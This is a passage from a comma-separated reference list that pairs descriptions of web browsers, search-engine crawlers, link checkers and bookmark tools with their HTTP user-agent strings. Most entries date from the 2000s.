(compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; ezPeer+ v1.0 Beta (0.4.1.98); ezPeer+ v1.0 (0.5.0.00); .NET CLR 1.1.4322; MSIECrawler)\nAxandra IBP website promotion software ?,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; IBP; .NET CLR 1.1.4322)\nMRA = Mail.ru Agent - Instant Messenger / VoIP,Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.3 (build 01218))\nMSN Search robot (207.46.89.xx),Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\nLink Commander bookmark manager,Mozilla/4.0 (compatible; MSIE 7.0; Win32) Link Commander 4.0\nIE 7.0 - WinXP,Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)\nGTB = Google Toolbar Internet Explorer add-on,Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; .NET CLR 2.0.50727)\nMSIE 7.0 *and* Trident token used by Internet Explorer 8 in compatibility view mode,Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0)\nInternet Explorer 8,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)\nIE 8.0 (beta) on Win Vista,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)\nBsalsa embedded browser,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Orange 8.0; GTB6.3; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  Embedded Web Browser from: http://bsalsa.com/; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618; OfficeLiveConnector.1.3; OfficeLivePatch.1.3)\nDAUMOA - Daum search Korea robot (211.115.109.xxx),\"Mozilla/4.0 (compatible; MSIE enviable; DAUMOA 2.0; DAUM Web Robot; Daum Communications Corp., Korea; +http://ws.daum.net/aboutkr.html)\"\nDAUMOA - Daum search Korea robot (211.115.109.xxx),\"Mozilla/4.0 (compatible; MSIE is not me; DAUMOA/1.0.1; DAUM Web Robot; Daum Communications Corp., Korea)\"\nNaver Search Korea Naverbot,Mozilla/4.0 (compatible; NaverBot/1.0; http://help.naver.com/delete_main.asp)\nNetcraft webserver info,Mozilla/4.0 (compatible; Netcraft Web Server Survey)\nNetPromoter Link Utility link checking tool ,Mozilla/4.0 (compatible; NetPromoter Spider;http://www.net-promoter.com/)\nOpera 3.x WinNT,Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]\nPowermarks bookmark manager,Mozilla/4.0 (compatible; Powermarks/3.5; Windows 95/98/2000/NT)\nRSS Popper - MS Outlook RSS reader plugin,Mozilla/4.0 (compatible; RSS Popper)\nSiteKiosk public terminal browser,Mozilla/4.0 (compatible; SiteKiosk 4.0; MSIE 5.0; Windows 98; SiteCoach 1.0)\nEntireweb Search Speedyspider (62.13.25.xxx),Mozilla/4.0 (compatible; SpeedySpider; www.entireweb.com)\nSiteProbe - website status checking,Mozilla/4.0 (compatible; SPENG)\nSuper Cleaner privacy tool (bookmark checking),Mozilla/4.0 (compatible; SuperCleaner 2.xx; Windows 98)\nSynapse - Apache web service for processing XML documents,Mozilla/4.0 (compatible; Synapse)\nWeb2PDF - Adobe Acrobat plugin for site traversal and other services for the Web Capture feature,Mozilla/4.0 (compatible; WebCapture 3.0; Windows)\nWindows HTTP Services (WinHTTP / XML-parser),Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nWSN Links PHP directory software,Mozilla/4.0 (compatible; WSN Links)\nEuro Directory (German / Austrian) directory link checking,Mozilla/4.0 (compatible; www.euro-directory.com; urlchecker1.0)\nGalaxy robot,Mozilla/4.0 (compatible; www.galaxy.com)\nLinkguard.com link validation (service is offline),Mozilla/4.0 (compatible; www.linkguard.com Linkguard Online 1.0; Windows NT)\nYahoo Search Japan robot (203.141.52.),Mozilla/4.0 (compatible; Y!J; for robot study; keyoshid)\nYahoo Japan robot (202.93.76.xx),Mozilla/4.0 (compatible; Yahoo Japan; for robot study; kasugiya)\nFaked IE id string used by DeepTrawl link checking tool,Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.0; H010818)\nspoofed referer by Fantomaster (Multiblocker) anonymity products,Mozilla/4.0 (fantomBrowser)\nspoofed referer by Fantomaster (Multiblocker) anonymity products,Mozilla/4.0 (fantomCrew Browser)\nunknown robot from - 64.57.223.40 - 66.28.233.xxx (cogentco.com),Mozilla/4.0 (hhjhj@yahoo.com)\nActivtourist Jemma spider,Mozilla/4.0 (JemmaTheTourist;http://www.activtourist.com)\nNetFront (v3.x) for Pocket PC (here on Sanyo PM-8200 cell phone),Mozilla/4.0 (MobilePhone PM-8200/US/1.0) NetFront/3.x MMP/2.0\nGoogle robot from 66.249.66.xxx ,Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nGoogle robot from 66.249.66.xxx ,Mozilla/4.0 (MobilePhone SCP-5500/US/1.0) NetFront/3.0 MMP/2.0 FAKE (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nUnknown robot from Mozilla.org,Mozilla/4.0 (Mozilla; http://www.mozilla.org/docs/en/bot.html; master@mozilla.com)\nASI - Any Search Info robot,Mozilla/4.0 (Sleek Spider/1.2)\nFurl (Looksmart) online bookmark tool robot,Mozilla/4.0 compatible FurlBot/Furl Search 2.0 (FurlBot; http://www.furl.net; wn.furlbot@looksmart.net)\nWisenut robot,Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\nWisenut robot,Mozilla/4.0 compatible ZyBorg/1.0 (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)\nWisenut robot,Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)\nWisenut robot,Mozilla/4.0 compatible ZyBorg/1.0 for Homepage (ZyBorg@WISEnutbot.com; http://www.WISEnutbot.com)\nUnknown robot from 66.230.140.xx (argon.oxeo.com) maybe an e-mail collector,Mozilla/4.0 efp@gmx.net\nWebTV,Mozilla/4.0 WebTV/2.6 (compatible; MSIE 4.0)\nAsk / Ask Jeeves robot,Mozilla/4.0 [en] (Ask Jeeves Corporate Spider)\nLookSmart spider,Mozilla/4.0(compatible; Zealbot 1.0)\nHideMe - Web based anonymous proxy server service,Mozilla/4.01 (compatible; NORAD National Defence Network)\nSome download manager spoofing Netscape 4.01,Mozilla/4.01 [en](Win95;I)\nNetscape 4.x SunOS 5.6,Mozilla/4.02 [en] (X11; I; SunOS 5.6 sun4u)\nDulance Bot - Dulance automated price comparison engine,Mozilla/4.04 (compatible; Dulance bot; +http://www.dulance.com/bot.jsp)\nNetscape 4.x HP-Unix,Mozilla/4.04 [en] (X11; I; HP-UX B.10.20 9000/712)\nNetscape 4.x IRIX,Mozilla/4.04 [en] (X11; I; IRIX 5.3 IP22)\nNetscape 4.x Macintosh 68k,Mozilla/4.05 (Macintosh; I; 68K Nav)\nNetscape 4.x Macintosh PowerPC,Mozilla/4.05 (Macintosh; I; PPC Nav)\nNetscape 4.x SunOS 4.1.4,Mozilla/4.05 [en] (X11; I; SunOS 4.1.4 sun4m)\nVersion 4.08 [en]-98306,Mozilla/4.08 [en] (Win98; U ;Nav)\nNetscape 4.x WinNT,Mozilla/4.08 [en] (WinNT; U)\nEcho.com robot,Mozilla/4.0_(compatible;_MSIE_5.0;_Windows_95)_TrueRobot/1.4 libwww/5.2.8\nVoila.fr robot,Mozilla/4.0_(compatible;_MSIE_5.0;_Windows_95)_VoilaBot/1.6 libwww/5.3.2\nHTTrack Offline Browser,Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98)\niCab MAC Web browser MAC Power PC,Mozilla/4.5 (compatible; iCab 2.5.3; Macintosh; I; PPC)\nOmniWeb 4.x.x Mac browser,Mozilla/4.5 (compatible; OmniWeb/4.0.5; Mac_PowerPC)\nOmniWeb 4.x.x Mac browser,Mozilla/4.5 (compatible; OmniWeb/4.1-beta-1; Mac_PowerPC)\ndifferent IPs using the HTTPClient library (mostly link checking),Mozilla/4.5 RPT-HTTPClient/0.3-2\nRuralNet Internet Services,Mozilla/4.5 [en]C-CCK-MCD {RuralNet} (Win98; I)\nNetscape 4.x Linux,Mozilla/4.5b1 [en] (X11; I; Linux 2.0.35 i586)\nCnet robot for Search.com (216.239.114.xx),Mozilla/4.6 [en] (http://www.cnet.com/)\nNetscape 4.x OS/2,Mozilla/4.61 [de] (OS/2; I)\nBrowseX cross-platform browser,Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)\nNameprotect (12.148.196.128 - 12.148.196.255) snoopbot,Mozilla/4.7\nEidetica earch and text mining spider,Mozilla/4.7 (compatible; http://eidetica.com/spider)\nIntelliseek (64.158.138.xx) robot,Mozilla/4.7 (compatible; Intelliseek; http://www.intelliseek.com)\nOffByOne Browser,Mozilla/4.7 (compatible; OffByOne; Windows 98) Webster Pro V3.2\nWhizBang! Labs information extraction robot,Mozilla/4.7 (compatible; Whizbang)\nWhizBang! Labs information extraction robot,Mozilla/4.7 (compatible; WhizBang; http://www.whizbang.com/crawler)\nBecomeBot - Becomecom shopping search (64.124.85.xx(x)),Mozilla/4.7 [en](BecomeBot@exava.com)\nExabot - exava shopping search (64.124.85.xx(x)),Mozilla/4.7 [en](Exabot@exava.com)\nunknown,Mozilla/4.7 [en]C-CCK-MCD {Yahoo;YIP052400} (Win95; I)\nhttp://www.ba.be robot,Mozilla/4.72 [en] (BACS http://www.ba.be)\nNetscpape 4.7x Caldera Open Linux Pentium III,Mozilla/4.72C-CCK-MCD Caldera Systems OpenLinux [en] (X11; U; Linux 2.2.14 i686)\nNetscape 4.7x Japan OSF1 alpha,Mozilla/4.75C-ja [ja] (X11; U; OSF1 V5.1 alpha)\nOpera 5.x Win 98,Mozilla/4.76 (Windows 98; U) Opera 5.12 [en]\nNetscape 4.7x FreeBSD,Mozilla/4.76 [en] (X11; U; FreeBSD 4.4-STABLE i386)\nNetscape 4.7x SunOS,Mozilla/4.76 [en] (X11; U; SunOS 5.7 sun4u)\nIRIX 6.5,Mozilla/4.77C-SGI [en] (X11; U; IRIX 6.5 IP32)\nGigaMedia / NTT DoCoMo robot,Mozilla/5.0\nEurekster Swicki community search using SLI-Systems site search engine Mammoth,Mozilla/5.0 (+http://www.eurekster.com/mammoth) Mammoth/0.1\nSLI Systems mammoth robot,Mozilla/5.0 (+http://www.sli-systems.com/) Mammoth/0.1\nClush search robot,Mozilla/5.0 (Clustered-Search-Bot/1.0; support@clush.com; http://www.clush.com/)\nGreasemonkey RSS panel Firefox plugin,Mozilla/5.0 (compatible) GM RSS Panel X\nEvri search robot,Mozilla/5.0 (compatible; +http://www.evri.com/evrinid)\n008 distributed crawler for 80legs,Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/spider.html;) Gecko/2008032620\nAbonti WebSearch beta robot,Mozilla/5.0 (compatible; Abonti/0.8 - http://www.abonti.com)\nHitCompanies Aihit crawler,Mozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/)\nAnsearch Australian search robot,Mozilla/5.0 (compatible; AnsearchBot/1.x; +http://www.ansearch.com.au/)\nThe Library of Congress Minerva crawler,Mozilla/5.0 (compatible; archive.org_bot/1.10.0 +http://www.loc.gov/minerva/crawl.html)\nHeritrix - The Internet Archive's open-source crawler (207.241.225.2xx),Mozilla/5.0 (compatible; archive.org_bot/1.13.1x http://crawler.archive.org)\nHeritrix - The Internet Archive's open-source crawler,Mozilla/5.0 (compatible; archive.org_bot/1.5.0-200506132127 http://crawler.archive.org) Hurricane Katrina\nAsk Jeeves /Teoma robot,Mozilla/5.0 (compatible; Ask Jeeves/Teoma;  http://about.ask.com/en/docs/about/webmasters.shtml)\nProject BanBots Perl script robot,Mozilla/5.0 (compatible; BanBots/2.0b; Fetch; +http://www.banbots.com)\nBecomeBot - Become.com shopping search (64.124.85.xx(x)),Mozilla/5.0 (compatible; BecomeBot/1.23; http://www.become.com/webmasters.html)\nBecomeBot - Become.com shopping search (64.124.85.xx(x)),Mozilla/5.0 (compatible; BecomeBot/1.xx; MSIE 6.0 compatible; http://www.become.com/webmasters.html)\nBecomeBot - Become.com shopping search (64.124.85.xx(x)),Mozilla/5.0 (compatible; BecomeBot/2.0beta; http://www.become.com/webmasters.html)\nBecomeBot - Become.com shopping search (64.124.85.xx(x)),Mozilla/5.0 (compatible; BecomeBot/2.x; MSIE 6.0 compatible; http://www.become.com/site_owners.html)\nBecomeBot - Become.com shopping search (64.124.85.xx(x)),Mozilla/5.0 (compatible; BecomeJPBot/2.3; MSIE 6.0 compatible; +http://www.become.co.jp/site_owners.html)\nBlogRefsBot.com blog robot,Mozilla/5.0 (compatible; BlogRefsBot/0.1; http://www.blogrefs.com/about/bloggers)\nPressemitteilungen Webservice RSS / news crawler (Germany),Mozilla/5.0 (compatible; Bot; +http://pressemitteilung.ws/spamfilter\nBuzzRanking internet content analysis,Mozilla/5.0 (compatible; BuzzRankingBot/1.0; +http://www.buzzrankingbot.com/)\nCharlotte indexing spider for Searchme / Wikiseek,Mozilla/5.0 (compatible; Charlotte/1.0b; charlotte@betaspider.com)\nCharlotte indexing spider for Searchme / Wikiseek,Mozilla/5.0 (compatible; Charlotte/1.0b; http://www.searchme.com/support/)\nUnknown graphics crawler or downloading agent from Yamana Laboratory - Waseda Univerity Japan (133.9.238.xx),Mozilla/5.0 (compatible; Crawling jpeg; http://www.yama.info.waseda.ac.jp)\nCusto web site spidering tool (link checking),Mozilla/5.0 (compatible; Custo 3 (Netwu.com); Windows NT 5.1)\nDe.com German travel related search via Amazon Web Services,Mozilla/5.0 (compatible; de/1.13.2 +http://www.de.com)\nDiffbot beta - RSS and news feed crawler,Mozilla/5.0 (compatible; Diffbot/0.1; +http://www.diffbot.com)\nDNS-Digger - DNS server neighbourhood search,Mozilla/5.0 (compatible; DNS-Digger-Explorer/1.0; +http://www.dnsdigger.com)\nDNS-Digger - DNS server neighbourhood search,Mozilla/5.0 (compatible; DNS-Digger/1.0; +http://www.dnsdigger.com)\nEarthcom (Czech Republic) search robot (194.108.39.xx),Mozilla/5.0 (compatible; EARTHCOM.info/2.01; http://www.earthcom.info)\nenter4u / Earthcom.info search (Czech Republic),Mozilla/5.0 (compatible; EARTHCOM/2.2; +http://enter4u.eu)\nPrague Faculty of Mathematics and Physics using Egothor open source crawler,Mozilla/5.0 (compatible; egothor/8.0g; +http://ego.ms.mff.cuni.cz/)\nExalead (France) search robot (193.47.80.xx),Mozilla/5.0 (compatible; Exabot Test/3.0; +http://www.exabot.com/go/robot)\nTheFind.com - Shopping search robot,Mozilla/5.0 (compatible; FatBot 2.0; http://www.thefind.com/main/CrawlerFAQs.fhtml)\nGalbot tagging robot (beta) - Denmark,Mozilla/5.0 (compatible; Galbot/1.0; +http://www.galbot.com/bot.html)\nGeneva Single-Site Search Engine used by Healthdash health search,mozilla/5.0 (compatible; genevabot http://www.healthdash.com)\nParos - a Java based HTTP/HTTPS proxy,Mozilla/5.0 (compatible; Google Desktop) Paros/3.2.12\nGoogle robot,Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)\nUnknown robot using Heritrix,mozilla/5.0 (compatible; heritrix/1.0.4 http://innovationblog.com)\nThe Stanford University InfoLab robot using Heritrix,Mozilla/5.0 (compatible; heritrix/1.10.2 +http://i.stanford.edu/)\nNewstin news feed search using Heritrix,Mozilla/5.0 (compatible; heritrix/1.12.1 +http://newstin.com/)\nPage-store.com vertical search via Amazon Web Services,Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com)\nPage-store.com vertical search via Amazon Web Services,Mozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) [email:paul@page-store.com]\nHeritrix Internet Archive's open-source web project ,mozilla/5.0 (compatible; heritrix/1.3.0 http://archive.crawler.org)\nChepi Beta search Spain (194.116.240.1xx) using Heritrix,Mozilla/5.0 (compatible; heritrix/1.4.0 +http://www.chepi.net)\nTruveo data mining robot using Heritrix,Mozilla/5.0 (compatible; heritrix/1.4t http://www.truveo.com/)\nL3S WebCrawling Project (Germany) using Heritrix,Mozilla/5.0 (compatible; heritrix/1.5.0 http://www.l3s.de/~kohlschuetter/projects/crawling/)\nPandora Internet Archive crawler (Australia) using Heritrix,Mozilla/5.0 (compatible; heritrix/1.5.0-200506231921 http://pandora.nla.gov.au/crawl.html)\nWORIO (beta) search for computer scientists and programmers using Heritrix open-source crawler,Mozilla/5.0 (compatible; heritrix/1.6.0 http://www.worio.com/)\ngreatarea.com website collection project using Heritrix,Mozilla/5.0 (compatible; heritrix/1.7.0 +http://www.greaterera.com/)\nhanzo:web social web archiving service,Mozilla/5.0 (compatible; Heritrix/1.8.0 http://www.hanzoarchives.com)\nAccelobot - Accelovation Market Discovery software robot,Mozilla/5.0 (compatible; heritrix/1.x.x +http://www.accelobot.com)\nUnknown AOL robot using Heritrix,Mozilla/5.0 (compatible; heritrix/2.0.0-RC1 +http://www.aol.com)\nHermits Search.com - Products and service search robot,Mozilla/5.0 (compatible; Hermit Search. Com; +http://www.hermitsearch.com)\nIsMySiteUp? - Online website monitoring service,Mozilla/5.0 (compatible; http://www.IsMySiteUp.Net/bot/ )\nUptimeAuditor - real time web monitoring,Mozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ )\nHyperix vertical search crawler,Mozilla/5.0 (compatible; HyperixScoop/1.3; +http://www.hyperix.com)\nUnknown robot (reads robots.txt) from chinatelecom (219.142.78.xx),Mozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0)\nID-Search.org - Russian search project,Mozilla/5.0 (compatible; IDBot/1.0; +http://www.id-search.org/bot.html)\nNajdi.si (Slovenia) search using Interseek/Web Interseek/API Search Engine,Mozilla/5.0 (compatible; InterseekWeb/3.x)\nhanzo:web social web archiving service,Mozilla/5.0 (compatible; Jim +http://www.hanzoarchives.com)\nKonqueror 2.0.x X11,Mozilla/5.0 (compatible; Konqueror/2.0.1; X11); Supports MD5-Digest; Supports gzip encoding\nKonqueror 2.1.x X11,Mozilla/5.0 (compatible; Konqueror/2.1.1; X11)\nKonqueror 2.2.x,Mozilla/5.0 (compatible; Konqueror/2.2.2)\nKonqueror 2.2.x Linux,Mozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)\nExalead (France) search robot (193.47.80.xx),Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Exabot-Thumbnails)\nLemur Consulting LemIR spider,Mozilla/5.0 (compatible; LemSpider 0.1)\nLinksmanager.com online link checking service,Mozilla/5.0 (compatible; LinksManager.com_bot http://linksmanager.com/linkchecker.html)\nLinkStash Bookmark Manager,Mozilla/5.0 (compatible; LinkStash Bookmark Manager; http://www.xrayz.co.uk/)\nMojeek Search Preview robot (217.155.205.xx),Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)\nJoomla!/Mambo component - MosBookmarks (bot) link checking,Mozilla/5.0 (compatible; MOSBookmarks/v2.6-Plus; Link Checker)\nPodTech entertainment and video network crawler,Mozilla/5.0 (compatible; MSIE 6.0; Podtech Network; crawler_admin@podtech.net)\nonet.pl Szukaj (Search) robot (213.180.128.1xx),Mozilla/5.0 (compatible; OnetSzukaj/5.0; http://szukaj.onet.pl)\nPagestacker online bookmark service,Mozilla/5.0 (compatible; PagestackerBot; http://www.pagestacker.com)\nPalmeraBot - Links24h.com search engine robot,Mozilla/5.0 (compatible; PalmeraBot; http://www.links24h.com/help/palmera) Version 0.001\nFeedMo feed search (Japan) using Pear HTTP,Mozilla/5.0 (compatible; PEAR HTTP_Request class; http://feed.moo.jp/)\nPHONifier mobile access to web content,Mozilla/5.0 (compatible; Phonifier; +http://www.phonifier.com)\npmoz.info ODP link checking bot,Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm)\nPogodak search (Slovenia) robot via Interseek,Mozilla/5.0 (compatible; pogodak.ba/3.x)\nPogodak search (Slovenia) robot via Interseek,Mozilla/5.0 (compatible; Pogodak.hr/3.1)\nProximic Publisher Widget - RSS and news content generator,Mozilla/5.0 (compatible; Proximic crawler; +http://www.proximic.com/en/about-us/contact-us.html)\nProgramacionWeb.net PWeBot crawler (Argentina),Mozilla/5.0 (compatible; PWeBot/3.1; http://www.programacionweb.net/robot.php)\nQuantcast - Open Internet Ratings Service,Mozilla/5.0 (compatible; Quantcastbot/1.0; www.quantcast.com)\nrobtex - Multi-RBL check and AS-numbercheck,Mozilla/5.0 (compatible; robtexbot/1.0; http://www.robtex.com/ )\nScoutJet (Blekko) search web crawler,Mozilla/5.0 (compatible; ScoutJet; +http://www.scoutjet.com/)\nScrub the web robot (66.93.156.xx),Mozilla/5.0 (compatible; Scrubby/2.2;  http://www.scrubtheweb.com/)\nShunixbot (France) beta / test semantic web indexing robot,Mozilla/5.0 (compatible; ShunixBot/1.x.x +http://www.shunix.com/robot.htm)\nShunixbot (France) beta / test semantic web indexing robot,Mozilla/5.0 (compatible; ShunixBot/1.x; http://www.shunix.com/bot.htm)\nSkreemr - Audio search engine,Mozilla/5.0 (compatible; SkreemRBot +http://skreemr.com)\nSnap Firefox Search Plugin,Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nSpurl.net bookmark service & search engine (84.40.30.xxx),Mozilla/5.0 (compatible; SpurlBot/0.2) \nSummize - Opinion and review search robot,Mozilla/5.0 (compatible; SummizeBot +http://www.summize.com)\nSyclik Control web content management system,Mozilla/5.0 (compatible; SYCLIKControl/LinkChecker;)\nSynoo web directory robot,Mozilla/5.0 (compatible; Synoobot/0.9; http://www.synoo.com/search/bot.html)\nTheophrastus Internet Spider for a basic search engine project,Mozilla/5.0 (compatible; Theophrastus/x.x; http://users.cs.cf.ac.uk/N.A.Smith/theophrastus.php)\nInterseek - Java search engine technology used for Pogodak search,Mozilla/5.0 (compatible; TridentSpider/3.1)\nWiseGuys robot,Mozilla/5.0 (compatible; Vagabondo/2.1; webcrawler at wise-guys dot nl; http://webagent.wise-guys.nl/)\nWebdunia search (India) robot,Mozilla/5.0 (compatible; Webduniabot/1.0; +http://search.webdunia.com/bot.aspx)\nphpwebbrain online bookmark service (Germany),Mozilla/5.0 (compatible; Windows NT 5.0; phpwebbrainBot/0.1 - http://www.monsterli.ch/phpwebbrain/)\nWORIO (beta) search for computer scientists and programmers using Heritrix open-source crawler,Mozilla/5.0 (compatible; worio bot heritrix/1.10.0 +http://worio.com)\nKathune spider for World of Warcraft guild data. Used to power WoW Lemmings,Mozilla/5.0 (compatible; WoW Lemmings Kathune/2.0;http://www.wowlemmings.com/kathune.html)\neXternalTest - Server and online services monitoring,Mozilla/5.0 (compatible; XTbot/1.0v; +http://www.externaltest.com)\nYahoo / Inktomi search robot,Mozilla/5.0 (compatible; Yahoo! DE Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nInktomi robot (202.160.180.xxx) for Yahoo China,Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)\nInktomi robot for Yahoo (via 66.196.xx.xxx),Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nYesup Seo - Toronto SEO Service,Mozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html)\nYoono - community based search (193.110.140.xxx / 194.0.179.[x]xx),Mozilla/5.0 (compatible; Yoono; http://www.yoono.com/)\nYoudao search (China) robot,Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )\nZenbot robot for the Southern African Zen search service,Mozilla/5.0 (compatible; Zenbot/1.3; +http://zen.co.za/webmasters/)\nPowerset Natural Language Search crawler (under development) using Heritrix via Amazon Web Services,\"Mozilla/5.0 (compatible; zermelo +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]\"\nHeritrix - The Internet Archive's open-source crawler (207.241.225.2xx),Mozilla/5.0 (compatible;archive.org_bot/1.7.1; collectionId=316; Archive-It; +http://www.archive-it.org)\nWayback Machine Internet Archive crawler,Mozilla/5.0 (compatible;archive.org_bot/heritrix-1.9.0-200608171144 +http://pandora.nla.gov.au/crawl.html)\nFindITAnswers - Search engine for software developers,Mozilla/5.0 (compatible;FindITAnswersbot/1.0;+http://search.it-influentials.com/bot.htm)\nMainseek search (Poland) robot,Mozilla/5.0 (compatible;MAINSEEK_BOT)\nMozShot - Technical demo to take screenshot of any URL,Mozilla/5.0 (Gecko/20070310 Mozshot/0.0.20070628; http://mozshot.nemui.org/)\nMozilla Firefox 3.0 beta (Gran Paradiso) for MacOS,Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5\nChimera browser (Mozilla/Gecko engine) - now Camino Mac PowerPC,Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021219 Chimera/0.6 \nCamino browser (Mozilla/Gecko engine) - ex Chimera Mac PowerPC,Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7\nOmniWeb 5.x.x Mac OS X browser,Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/xx (KHTML like Gecko) OmniWeb/v5xx.xx\nSafari 1.2x browser (Mozilla/Gecko engine) MAC OS X,Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x\nNetscape 6.x Mac PowerPC,Mozilla/5.0 (Macintosh; U; PPC; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nunknown robot from gw.ocg-corp.com,Mozilla/5.0 (research@mediatrec.com)\nSage - RSS and Atom feed reader extension for Mozilla Firefox,Mozilla/5.0 (Sage)\nInktomi (Hotbot-Lycos - NBCi etc.) robot,Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nInktomi (Hotbot-Lycos - NBCi etc.) robot,Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html)\nOpera 5.x SunOS,Mozilla/5.0 (SunOS 5.8 sun4u; U) Opera 5.0 [en]\nTwiceler experimental web crawler,Mozilla/5.0 (Twiceler-0.9 http://www.cuill.com/twiceler/robot.html)\nSome spambot from Romania (82.208.139.1xx & 86.123.65.xx) - Maybe email harvesting,Mozilla/5.0 (Version: xxxx Type:xx)\nGenieKnows.com search robot (64.5.245.xx / 64.5.220.xxx),Mozilla/5.0 (wgao@genieknows.com)\nNetscape 6.x Win98,Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nFirebird browser (Mozilla/Gecko engine) - ex Phoenix Win98,Mozilla/5.0 (Windows; U; Win98; en-US; rv:x.xx) Gecko/20030423 Firebird Browser/0.6\nBeonex Communicator browser (Mozilla/Gecko engine),Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable\nHealthline health related search robot (72.5.115.xx),Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) NimbleCrawler 1.11 obeys UserAgent NimbleCrawler For problems contact: crawler_at_dataalchemy.com\nGoogle Chrome browser based on WebKit (Safari),\"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19\"\nFlock web browser built on Mozilla technologies,Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1\nMegaupload Mega Manager - Download manager plugin for Firefox,Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload x.0\nOrca browser - based on Gecko,Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3\nFirefox browser (Mozilla/Gecko engine) - ex Firebird WinXP,Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x\nFirebird browser (Mozilla/Gecko engine) - ex Phoenix WinXP,Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6\nMnenhy - enhanced mail & news Mozilla based browser,Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xxx) Gecko/20041027 Mnenhy/0.6.0.104\nVoila.fr robot,Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)\nVoila.fr robot,Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1) VoilaBot BETA 1.2 (support.voilabot@orange-ftgroup.com)\nMozilla Firefox 3.0 beta (Gran Paradiso) for Win,Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b5) Gecko/2008032620 